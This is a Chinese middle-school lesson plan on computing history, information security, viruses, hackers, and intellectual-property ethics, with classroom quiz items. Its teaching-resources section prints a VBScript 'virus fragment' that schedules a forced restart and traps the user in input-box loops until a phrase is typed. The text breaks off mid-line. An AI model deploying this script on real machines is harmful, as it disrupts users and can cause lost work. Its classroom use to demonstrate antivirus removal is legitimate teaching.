《信息技術(shù)發(fā)展、信息安全和信息交流的道德與法律》教學設計

1、37第5，6，8節(jié) 信息技術(shù)發(fā)展、信息安全和信息交流的道德與法律教學設計鰲頭中學 羅斌一、學習者分析學習者是七年級學生，該年齡段學生愿意接受新鮮事物，對未知的事物充滿好奇，愿意用自己的方式探索理解事物。但是又活潑、好動，非常的不愿意上枯燥的理論課。學生在日常使用計算機的過程中經(jīng)常會碰到信息安全問題和信息交流過程中的道德、法律問題。二、教材內(nèi)容分析1本節(jié)主要內(nèi)容及在本章中的地位本節(jié)課主要介紹信息技術(shù)的發(fā)展歷程、保障信息安全的意義與措施、信息交往過程中的道德和法律。通過本節(jié)內(nèi)容的教學可以充實學生信息技術(shù)知識。知道一些最基本的信息安全處理措施，以及在信息交往中應該遵循的道德和法律。本節(jié)內(nèi)容大部分需要

2、識記。 2教學重點、難點重點：計算機病毒的傳播途徑及防治方法、駭客的防范 難點：保障信息安全的基本措施辨別信息交流活動中的行為是否符合信息道德規(guī)范3、課時安排：1課時三、教學目標1.知識與技能(1)了解計算機硬件發(fā)展，網(wǎng)絡技術(shù)的發(fā)展；(2)了解信息安全的概念和意義。學會處理常見的威脅信息安全的措施。(3)了解計算機病毒與電腦駭客的危害，知道防范計算機病毒及駭客入侵的基本方法。(4)能敘述保護知識產(chǎn)權(quán)的意義和相關(guān)法律，法規(guī)(5)能辨別信息交流過程中的行為是否符合信息道德規(guī)范。2過程與方法通過自主學習，能夠掌握計算機硬件的發(fā)展歷程，進一步了解計算機的網(wǎng)絡發(fā)展，能闡述常見的信息安全防范措施，了解計算

3、機軟件知識產(chǎn)權(quán)知識，能夠辨別信息交流活動中的行為是否符合信息道德規(guī)范。3情感態(tài)度價值觀自主學習培養(yǎng)，結(jié)合現(xiàn)實解決問題的能力，樹立安全使用信息技術(shù)的意識，增強法律意識，能夠健康安全的使用信息技術(shù)。四、教學理念和方法本課內(nèi)容較枯燥，理論知識較多，以引導為主，探索學習，自主檢測增加信息發(fā)展、安全和道德知識，通過課堂搶答加深記憶。五、教學過程設計教學環(huán)節(jié)教師活動學生活動設計意圖英文打字教師根據(jù)監(jiān)控端信息評講打字情況，對學生打字提出建議。學生課堂練習中英文打字3分鐘基本技能訓練導入新課學生打開學學練練自學3分鐘教師播放“第一臺計算機”視頻學生用3分鐘對照輔助系統(tǒng)學學練練模塊查看圖表記憶。通過創(chuàng)設情境，導

4、入新課，激發(fā)學生學習熱情，識記學習內(nèi)容。信息技術(shù)的發(fā)展課堂搶答：構(gòu)成世界上第一臺電子計算機“ENIAC”的主要元件是（ ）。A.電子管B.小規(guī)模集成電路 C.大規(guī)模集成電路 D.晶體管【教師】搶答完成，講解第一臺計算機，以及計算機發(fā)展歷程。目前應用了計算機技術(shù)的領(lǐng)域有（） A、人工智能 B、辦公自動化 C、金融業(yè)務 D、以上都是【教師】搶答完成，可以講解信息技術(shù)網(wǎng)絡發(fā)展，學生完成搶答，并了解計算機的發(fā)展歷程通過搶答進一步刺激學生積極性，讓學生參與到課堂里面來。信息的安全以下影響計算機信息安全的因素中，屬于人為因素的有（）地震洪水駭客入侵風暴誤操作計算機病毒侵害A、B、C、D、【教師】講解信息安

5、全包括的內(nèi)容最新版本的軟件是沒有漏洞的，漏洞只在老版本的軟件中才出現(xiàn)。（）A、對B、錯【教師】講解常見的信息安全應該采取的措施。用殺毒軟件刪除某個帶病毒代碼的文件（詳情見，教學資源）下列可以有效預防計算機病毒的方法是（）不用來歷不明的軟盤、光盤定期殺毒更換內(nèi)存不輕易打開陌生人的郵件洗手后再用計算機A、B、C、D、學生完成搶答，觀看病毒代碼，并且查看殺毒軟件查殺病毒過程通過搶答進一步刺激學生積極性，讓學生參與到課堂里面來。通過觀看病毒源碼，通過查殺體驗病毒是一種程序。信息交流中的道德和法律美國高中生杰弗雷·帕森對""沖擊波""病毒進行修改并傳播了

6、一系列病毒變種，使全球超過50萬臺電腦受到攻擊。針對這一行為下列說法不正確的是（ ）。A、該生屬于思想意識問題，并沒有觸犯法律B、該生已構(gòu)成犯罪，應受到法律制裁C、網(wǎng)絡用戶應引起高度警惕，增強防范意識D、人人都應自覺遵守網(wǎng)絡道德規(guī)范小明把自己買的正版軟件放到網(wǎng)上供別人下載，這種行為時合法的。（ ）A、對B、錯作為中學生為了節(jié)約，我們可以購買盜版軟件進行使用。（）A、對B、錯【教師】講解關(guān)于知識產(chǎn)權(quán)的兩部法律法規(guī)學生完成搶答，辨別部分信息交流過程中應該遵守的道德和法律通過搶答進一步刺激學生積極性，讓學生參與到課堂里面來學生測試學生完成測試，完成小測的學生可以進行打字訓練通過練習來鞏固知識小結(jié)通過

7、評講課堂小測，對照學學練練逐步小結(jié)學生繼續(xù)完成練習通過小結(jié)進一步鞏固知識3.教學評價課堂輔助系統(tǒng)搶答、課堂輔助系統(tǒng)課堂小測4教學資源病毒代碼：保存為VBE文件。以下代碼是個病毒片段，會重啟計算機on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""xiongmaobaify",0 ,true dim a do whi

8、le(a <> "xiongmaobaify") a = inputbox ("xiongmaobaify ""xiongmaobaify"" ","xiongmaobaify","xiongmaobaify",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loopmsgbox chr(13) + chr(13) + chr(13) + "xiongmaobaify"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgb